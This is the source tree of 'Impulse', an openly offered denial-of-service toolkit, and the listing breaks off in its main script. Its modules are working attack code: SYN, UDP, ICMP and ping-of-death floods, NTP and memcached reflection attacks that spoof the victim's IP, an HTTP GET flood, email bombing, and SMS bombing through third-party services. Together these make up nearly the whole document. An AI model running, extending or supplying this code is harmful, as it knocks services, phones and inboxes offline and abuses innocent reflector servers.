├── tools ├── SMS │ ├── proxy.json │ ├── main.py │ ├── names.json │ ├── randomData.py │ ├── sendRequest.py │ ├── user_agents.json │ └── services.json ├── addons │ ├── clean.py │ ├── logo.py │ ├── twilight │ │ ├── hash.py │ │ ├── xor.py │ │ ├── twilight.py │ │ └── salt.py │ └── winpcap.py ├── randomData.py ├── L4 │ ├── icmp.py │ ├── udp.py │ ├── pod.py │ ├── syn.py │ ├── memcached.py │ ├── ntp.py │ └── ntp_servers.txt ├── EMAIL │ ├── main.py │ └── emailTools.py ├── L7 │ ├── http.py │ ├── slowloris.py │ ├── user_agents.json │ └── referers.txt ├── crash.py ├── ipTools.py └── method.py ├── requirements.txt ├── .github └── FUNDING.yml ├── impulse.py ├── README.md └── LICENSE /tools/SMS/proxy.json: -------------------------------------------------------------------------------- 1 | { 2 | "proxy": { 3 | "http": "", 4 | "https": "" 5 | } 6 | } -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | scapy 3 | wget 4 | argparse 5 | colorama 6 | humanfriendly 7 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | custom: www.donationalerts.com/r/LimerBoy 4 | -------------------------------------------------------------------------------- /tools/addons/clean.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import os 3 | 4 | # Clear command line 5 | if os.name == "nt": 6 | os.system("@cls & @title Impulse ToolKit & @color e") 7 | else: 8 | os.system("clear") 9 | -------------------------------------------------------------------------------- /tools/SMS/main.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import tools.SMS.sendRequest as request 3 | import tools.SMS.randomData as randomData 4 | 5 | __services = request.getServices() 6 | 7 | 8 | def flood(target): 9 | # Get services list 10 | service = randomData.random_service(__services) 11 | service = request.Service(service) 12 | service.sendMessage(target) 13 | -------------------------------------------------------------------------------- /tools/addons/logo.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | from colorama import Fore 3 | 4 | # Logo 5 | print(rf"""{Fore.MAGENTA} 6 | _____ _ 7 | \_ \_ __ ___ _ __ _ _| |___ ___ 8 | / /\/ '_ ` _ \| '_ \| | | | / __|/ _ \ 9 | /\/ /_ | | | | | | |_) | |_| | \__ \ __/ 10 | \____/ |_| |_| |_| .__/ \__,_|_|___/\___| 11 | |_| Created by LimerBoy 12 | {Fore.RESET}""") 13 | -------------------------------------------------------------------------------- /tools/addons/twilight/hash.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | from hashlib import md5 3 | from string import ascii_letters 4 | 5 | 6 | # Get salt numbers 7 | def getSaltByKey(key, message): 8 | salt = '' 9 | kHash = md5(key.encode()).hexdigest() 10 | 11 | while True: 12 | for char in kHash: 13 | if len(salt) == len(message): 14 | break 15 | if not char in ascii_letters: 16 | salt += char 17 | 18 | if len(salt) == len(message): 19 | return salt 20 | -------------------------------------------------------------------------------- /tools/addons/twilight/xor.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | from base64 import b64encode 3 | from base64 import b64decode 4 | 5 | # Xor 6 | def xor(text, key): 7 | out = '' 8 | for i in range(len(text)): 9 | current = text[i] 10 | current_key = key[i % len(key)] 11 | out += chr(ord(current) ^ ord(current_key)) 12 | return out 13 | 14 | # Encode : [text => xor => base64] 15 | def encode(text, key): 16 | return b64encode(xor(text, key).encode("utf-8")).decode() 17 | 18 | # Decode : [xor => base64 => text] 19 | def decode(text, key): 20 | return xor(b64decode(text).decode(), key) 21 | -------------------------------------------------------------------------------- /tools/addons/twilight/twilight.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import tools.addons.twilight.xor as Xor 3 | import tools.addons.twilight.salt as Salt 4 | import tools.addons.twilight.hash as Hash 5 | 6 | # Encrypt function 7 | def Encrypt(text, key): 8 | 9 | salt = Hash.getSaltByKey(key, text) 10 | saltedText = Salt.protect(text, salt) 11 | xoredText = Xor.encode(saltedText, key) 12 | return xoredText 13 | 14 | # Decrypt function 15 | def Decrypt(text, key): 16 | unxoredText = Xor.decode(text, key) 17 | salt = Hash.getSaltByKey(key, unxoredText) 18 | unsaltData = Salt.unprotect(unxoredText, salt) 19 | return unsaltData 20 | -------------------------------------------------------------------------------- /tools/randomData.py: -------------------------------------------------------------------------------- 1 | import json 2 | import random 3 | 4 | 5 | # Get random IP 6 | def random_IP(): 7 | ip = [] 8 | for _ in range(0, 4): 9 | ip.append(str(random.randint(1, 255))) 10 | return ".".join(ip) 11 | 12 | 13 | # Get random referer 14 | def random_referer(): 15 | with open("tools/L7/referers.txt", "r") as referers: 16 | referers = referers.readlines() 17 | return random.choice(referers) 18 | 19 | 20 | # Get random user agent 21 | def random_useragent(): 22 | with open("tools/L7/user_agents.json", "r") as agents: 23 | user_agents = json.load(agents)["agents"] 24 | return random.choice(user_agents) 25 | -------------------------------------------------------------------------------- /tools/L4/icmp.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | from scapy.all import IP, TCP, send, RandShort 3 | from colorama import Fore 4 | 5 | 6 | def flood(target): 7 | packet = IP(dst=target[0]) / TCP( 8 | dport=target[1], flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort() 9 | ) 10 | 11 | for i in range(4): 12 | try: 13 | send(packet, verbose=False) 14 | except Exception as e: 15 | print( 16 | f"{Fore.RED}[!] {Fore.MAGENTA}Error while sending 'ICMP'\n{Fore.MAGENTA}{e}{Fore.RESET}" 17 | ) 18 | else: 19 | print( 20 | f"{Fore.GREEN}[+] {Fore.YELLOW}ICMP packet send to {target[0]} {Fore.RESET}" 21 | ) 22 | -------------------------------------------------------------------------------- /tools/L4/udp.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import random 3 | import socket 4 | from colorama import Fore 5 | 6 | # Create socket 7 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 8 | 9 | 10 | def flood(target): 11 | for _ in range(16): 12 | try: 13 | payload = random._urandom(random.randint(1, 60)) 14 | sock.sendto(payload, (target[0], target[1])) 15 | except Exception as e: 16 | print( 17 | f"{Fore.MAGENTA}Error while sending UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}" 18 | ) 19 | else: 20 | print( 21 | f"{Fore.GREEN}[+] {Fore.YELLOW}UDP random packet sent! Payload size: {len(payload)}. {Fore.RESET}" 22 | ) 23 | -------------------------------------------------------------------------------- /tools/L4/pod.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import random 3 | from scapy.all import IP, ICMP, send, fragment 4 | from colorama import Fore 5 | 6 | __letters = list("1234567890qwertyuiopasdfghjklzxcvbnm") 7 | 8 | 9 | def flood(target): 10 | payload = random.choice(__letters) * 60000 11 | packet = IP(dst=target[0]) / ICMP(id=65535, seq=65535) / payload 12 | 13 | for i in range(4): 14 | try: 15 | send(packet, verbose=False) 16 | except Exception as e: 17 | print( 18 | f"{Fore.RED}[!] {Fore.MAGENTA}Error while sending 'Ping Of Death'\n{Fore.MAGENTA}{e}{Fore.RESET}" 19 | ) 20 | else: 21 | print( 22 | f"{Fore.GREEN}[+] {Fore.YELLOW}65535 bytes send to {target[0]} {Fore.RESET}" 23 | ) 24 | -------------------------------------------------------------------------------- /tools/EMAIL/main.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | from colorama import Fore 3 | from random import _urandom, randint 4 | 5 | # Generate random data 6 | def __rand(): 7 | size = randint(10, 90) 8 | data = str(_urandom(size)) 9 | return data[:-1][2:] 10 | 11 | 12 | def flood(target): 13 | server, username, subject, body, target = target 14 | # Generate random data 15 | if not subject: 16 | subject = __rand() 17 | if not body: 18 | body = __rand() 19 | # Message 20 | msg = f"From: {username}\nSubject: {subject}\n{body}" 21 | # Send email 22 | try: 23 | server.sendmail(username, target, msg.encode("utf-8")) 24 | except Exception as err: 25 | print( 26 | f"{Fore.MAGENTA}Error while sending mail\n{Fore.MAGENTA}{err}{Fore.RESET}" 27 | ) 28 | else: 29 | print( 30 | f"{Fore.GREEN}[+] {Fore.YELLOW}Mail sent to {target}.{Fore.RESET}" 31 | ) 32 | -------------------------------------------------------------------------------- /tools/addons/twilight/salt.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | from random import choice 3 | 4 | 5 | # Add salt to data 6 | def protect(message, salt): 7 | # Variables 8 | eData = '' 9 | salt = list(salt) 10 | saltChars = [] 11 | 12 | # Add salt characters to list 13 | for char in message: 14 | if not char in saltChars: 15 | saltChars.append(char) 16 | 17 | # Add salt to message 18 | for index, secretChar in enumerate(message): 19 | for _ in range(int(salt[index])): 20 | eData += choice(saltChars) 21 | eData += secretChar 22 | 23 | return eData 24 | 25 | 26 | # Remove salt from data 27 | def unprotect(message, salt): 28 | # Variables 29 | p = 0 30 | dData = '' 31 | 32 | # Remove salt characters from string 33 | for secretSalt in salt: 34 | message = message[int(secretSalt) + p:] 35 | # If not data - stop 36 | if not message: 37 | break 38 | 39 | dData += message[0] 40 | p = 1 41 | 42 | return dData 43 | -------------------------------------------------------------------------------- /tools/L4/syn.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import random 3 | from scapy.all import IP, TCP, send 4 | import tools.randomData as randomData 5 | from colorama import Fore 6 | 7 | 8 | def flood(target): 9 | IP_Packet = IP() 10 | IP_Packet.src = randomData.random_IP() 11 | IP_Packet.dst = target[0] 12 | 13 | TCP_Packet = TCP() 14 | TCP_Packet.sport = random.randint(1000, 10000) 15 | TCP_Packet.dport = target[1] 16 | TCP_Packet.flags = "S" 17 | TCP_Packet.seq = random.randint(1000, 10000) 18 | TCP_Packet.window = random.randint(1000, 10000) 19 | 20 | for _ in range(16): 21 | try: 22 | send(IP_Packet / TCP_Packet, verbose=False) 23 | except Exception as e: 24 | print( 25 | f"{Fore.MAGENTA}Error while sending SYN packet\n{Fore.MAGENTA}{e}{Fore.RESET}" 26 | ) 27 | else: 28 | print( 29 | f"{Fore.GREEN}[+] {Fore.YELLOW}SYN packet sent to {'{}:{}'.format(*target)}.{Fore.RESET}" 30 | ) 31 | -------------------------------------------------------------------------------- /tools/addons/winpcap.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import os 3 | import sys 4 | import wget 5 | from colorama import Fore 6 | 7 | if os.name == "nt": 8 | winpcap_url = "https://www.winpcap.org/install/bin/WinPcap_4_1_3.exe" 9 | winpcap_dir = os.environ["ProgramFiles(x86)"] + "\\WinPcap" 10 | if not os.path.exists(winpcap_dir): 11 | print( 12 | f'{Fore.MAGENTA}[!] {Fore.YELLOW}Attention! Component "WinPcap" not installed!\n is needed to make an attack of syn, udp and others,\n you can skip this if you want to use only SMS flood\n Do you want to install it automatically? (y/n){Fore.RESET}' 13 | ) 14 | if input(f"{Fore.MAGENTA} >>> {Fore.BLUE}").lower() in ("y", "yes", "1"): 15 | print(f"{Fore.YELLOW}[~] {Fore.CYAN}Downloading installer...{Fore.BLUE}\n") 16 | winpcap_installer = wget.download(winpcap_url) 17 | os.startfile(winpcap_installer) 18 | print( 19 | f"\n\n{Fore.GREEN}[?] {Fore.YELLOW}Now please restart program{Fore.RESET}" 20 | ) 21 | sys.exit(1) 22 | -------------------------------------------------------------------------------- /tools/L4/memcached.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import random 3 | from scapy.all import IP, UDP, send, Raw 4 | from colorama import Fore 5 | 6 | # Load MEMCACHED servers list 7 | with open("tools/L4/memcached_servers.txt", "r") as f: 8 | memcached_servers = f.readlines() 9 | 10 | # Payload 11 | payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" 12 | 13 | 14 | def flood(target): 15 | server = random.choice(memcached_servers) 16 | packets = random.randint(10, 150) 17 | server = server.replace("\n", "") 18 | # Packet 19 | try: 20 | packet = ( 21 | IP(dst=server, src=target[0]) 22 | / UDP(sport=target[1], dport=11211) 23 | / Raw(load=payload) 24 | ) 25 | send(packet, count=packets, verbose=False) 26 | except Exception as e: 27 | print( 28 | f"{Fore.MAGENTA}Error while sending forged UDP packet\n{Fore.MAGENTA}{e}{Fore.RESET}" 29 | ) 30 | else: 31 | print( 32 | f"{Fore.GREEN}[+] {Fore.YELLOW}Sending {packets} forged UDP packets from memcached server {server} to {'{}:{}'.format(*target)}.{Fore.RESET}" 33 | ) 34 | -------------------------------------------------------------------------------- /tools/SMS/names.json: -------------------------------------------------------------------------------- 1 | { 2 | "names": [ 3 | "Jamie", 4 | "Coleen", 5 | "Mafalda", 6 | "Portia", 7 | "Katheryn", 8 | "Jeannine", 9 | "Sunni", 10 | "Elda", 11 | "Dora", 12 | "Logan", 13 | "Fausto", 14 | "Sebrina", 15 | "Wyatt", 16 | "Judy", 17 | "Lashaun", 18 | "Myrta", 19 | "Elia", 20 | "Florentino", 21 | "Yuk", 22 | "Pearle", 23 | "Kip", 24 | "Jefferson", 25 | "Sharon", 26 | "Alix", 27 | "Rodger", 28 | "Latanya", 29 | "Sharron", 30 | "Delila", 31 | "Millard", 32 | "Ria", 33 | "Irene", 34 | "Emelda", 35 | "Eboni", 36 | "Wilfredo", 37 | "Ivelisse", 38 | "Emerita", 39 | "Izetta", 40 | "Rhonda", 41 | "Marlena", 42 | "Amber", 43 | "Erline", 44 | "Bryanna", 45 | "Marisha", 46 | "Rosie", 47 | "Kathern", 48 | "Paulita", 49 | "Sonny", 50 | "Jocelyn", 51 | "Mariette", 52 | "Elease" 53 | ] 54 | } -------------------------------------------------------------------------------- /tools/L7/http.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import requests 3 | import random 4 | import tools.randomData as randomData 5 | from colorama import Fore 6 | 7 | # Load user agents 8 | user_agents = [] 9 | for _ in range(30): 10 | user_agents.append(randomData.random_useragent()) 11 | 12 | # Headers 13 | headers = { 14 | "X-Requested-With": "XMLHttpRequest", 15 | "Connection": "keep-alive", 16 | "Pragma": "no-cache", 17 | "Cache-Control": "no-cache", 18 | "Accept-Encoding": "gzip, deflate, br", 19 | "User-agent": random.choice(user_agents), 20 | } 21 | 22 | 23 | def flood(target): 24 | payload = str(random._urandom(random.randint(10, 150))) 25 | try: 26 | r = requests.get(target, params=payload, headers=headers, timeout=4) 27 | except requests.exceptions.ConnectTimeout: 28 | print(f"{Fore.RED}[!] {Fore.MAGENTA}Timed out{Fore.RESET}") 29 | except Exception as e: 30 | print( 31 | f"{Fore.MAGENTA}Error while sending GET request\n{Fore.MAGENTA}{e}{Fore.RESET}" 32 | ) 33 | else: 34 | print( 35 | f"{Fore.GREEN}[{r.status_code}] {Fore.YELLOW}Request sent! Payload size: {len(payload)}.{Fore.RESET}" 36 | ) 37 | -------------------------------------------------------------------------------- /tools/L4/ntp.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import random 3 | from scapy.all import IP, send, Raw, UDP 4 | from socket import gaierror 5 | from colorama import Fore 6 | 7 | # Load NTP servers list 8 | with open("tools/L4/ntp_servers.txt", "r") as f: 9 | ntp_servers = f.readlines() 10 | 11 | # Payload 12 | payload = "\x17\x00\x03\x2a" + "\x00" * 4 13 | 14 | 15 | def flood(target): 16 | server = random.choice(ntp_servers) 17 | # Packet 18 | packets = random.randint(10, 150) 19 | server = server.replace("\n", "") 20 | 21 | try: 22 | packet = ( 23 | IP(dst=server, src=target[0]) 24 | / UDP(sport=random.randint(2000, 65535), dport=int(target[1])) 25 | / Raw(load=payload) 26 | ) 27 | send(packet, count=packets, verbose=False) 28 | except gaierror: 29 | print( 30 | f"{Fore.RED}[!] {Fore.MAGENTA}NTP server {server} is offline!{Fore.RESET}" 31 | ) 32 | except Exception as e: 33 | print( 34 | f"{Fore.MAGENTA}Error while sending NTP packet\n{Fore.MAGENTA}{e}{Fore.RESET}" 35 | ) 36 | else: 37 | print( 38 | f"{Fore.GREEN}[+] {Fore.YELLOW}Sending {packets} packets from NTP server {server} to {'{}:{}'.format(*target)}.{Fore.RESET}" 39 | ) 40 | -------------------------------------------------------------------------------- /tools/crash.py: -------------------------------------------------------------------------------- 1 | # Import modules 2 | import os 3 | import sys 4 | import platform 5 | from time import ctime 6 | from colorama import Fore 7 | 8 | """ This function will stop the program when a critical error occurs """ 9 | 10 | 11 | def CriticalError(message, error): 12 | print(f""" 13 | {Fore.RED}:=== Critical error: 14 | {Fore.MAGENTA}MESSAGE: {message}. 15 | {Fore.MAGENTA}ERROR: {error} 16 | {Fore.RED}:=== Python info: 17 | {Fore.MAGENTA}PYTHON VERSION: {platform.python_version()} 18 | {Fore.MAGENTA}PYTHON BUILD: {'{}, DATE: {}'.format(*platform.python_build())} 19 | {Fore.MAGENTA}PYTHON COMPILER: {platform.python_compiler()} 20 | {Fore.MAGENTA}SCRIPT LOCATION: {os.path.dirname(os.path.realpath(sys.argv[0]))} 21 | {Fore.MAGENTA}CURRENT LOCATION: {os.getcwd()} 22 | {Fore.RED}:=== System info: 23 | {Fore.MAGENTA}SYSTEM: {platform.system()} 24 | {Fore.MAGENTA}RELEASE: {platform.release()} 25 | {Fore.MAGENTA}VERSION: {platform.version()} 26 | {Fore.MAGENTA}ARCHITECTURE: {'{} {}'.format(*platform.architecture())} 27 | {Fore.MAGENTA}PROCESSOR: {platform.processor()} 28 | {Fore.MAGENTA}MACHINE: {platform.machine()} 29 | {Fore.MAGENTA}NODE: {platform.node()} 30 | {Fore.MAGENTA}TIME: {ctime()} 31 | {Fore.RED}:=== Report: 32 | {Fore.MAGENTA}Please report it here: https://github.com/LimerBoy/Impulse/issues/new 33 | {Fore.RESET} 34 | """) 35 | sys.exit(5) 36 | -------------------------------------------------------------------------------- /tools/SMS/randomData.py: -------------------------------------------------------------------------------- 1 | import json 2 | import random 3 | import string 4 | 5 | mails = ( 6 | "mail.ru", 7 | "inbox.ru", 8 | "list.ru", 9 | "bk.ru", 10 | "ya.ru", 11 | "yandex.com", 12 | "yandex.ua", 13 | "yandex.ru", 14 | "gmail.com", 15 | ) 16 | 17 | 18 | # Get random service 19 | def random_service(list): 20 | return random.choice(list) 21 | 22 | 23 | # Create random name 24 | def random_name(): 25 | with open("tools/SMS/names.json", "r") as names: 26 | names = json.load(names)["names"] 27 | return random.choice(names) 28 | 29 | 30 | # Create random suffix for email 31 | # %random_name%SUFFIX@%random_email% 32 | def random_suffix(int_range=4): 33 | numbers = [] 34 | for _ in range(int_range): 35 | numbers.append(str(random.randint(1, 9))) 36 | return "".join(numbers) 37 | 38 | 39 | # Create random email by name, suffix, mail 40 | # Example: Jefferson3715@gmail.com 41 | def random_email(): 42 | return random_name() + random_suffix() + "@" + random.choice(mails) 43 | 44 | 45 | # Create random password 46 | # %random_name%%random_suffix% 47 | def random_password(): 48 | return random_name() + random_suffix(int_range=10) 49 | 50 | 51 | # Create random token 52 | # %token% 53 | def random_token(): 54 | letters = string.ascii_letters + string.digits 55 | return "".join(random.choice(letters) for _ in range(random.randint(20, 50))) 56 | 57 | 58 | # Get random user agent 59 | def random_useragent(): 60 | with open("tools/SMS/user_agents.json", "r") as agents: 61 | user_agents = json.load(agents)["agents"] 62 | return random.choice(user_agents) 63 | -------------------------------------------------------------------------------- /impulse.py: -------------------------------------------------------------------------------- 1 | # Created by LimerBoy 2 | # Import modules 3 | import os 4 | import sys 5 | import argparse 6 | 7 | # Go to current dir 8 | os.chdir(os.path.dirname(os.path.realpath(__file__))) 9 | 10 | try: 11 | from tools.crash import CriticalError 12 | import tools.addons.clean 13 | import tools.addons.logo 14 | import tools.addons.winpcap 15 | from tools.method import AttackMethod 16 | except ImportError as err: 17 | CriticalError("Failed import some modules", err) 18 | sys.exit(1) 19 | 20 | # Parse args 21 | parser = argparse.ArgumentParser(description="Denial-of-service ToolKit") 22 | parser.add_argument( 23 | "--target", 24 | type=str, 25 | metavar="", 26 | help="Target ip:port, url or phone", 27 | ) 28 | parser.add_argument( 29 | "--method", 30 | type=str, 31 | metavar="", 32 | help="Attack method", 33 | ) 34 | parser.add_argument( 35 | "--time", type=int, default=10, metavar="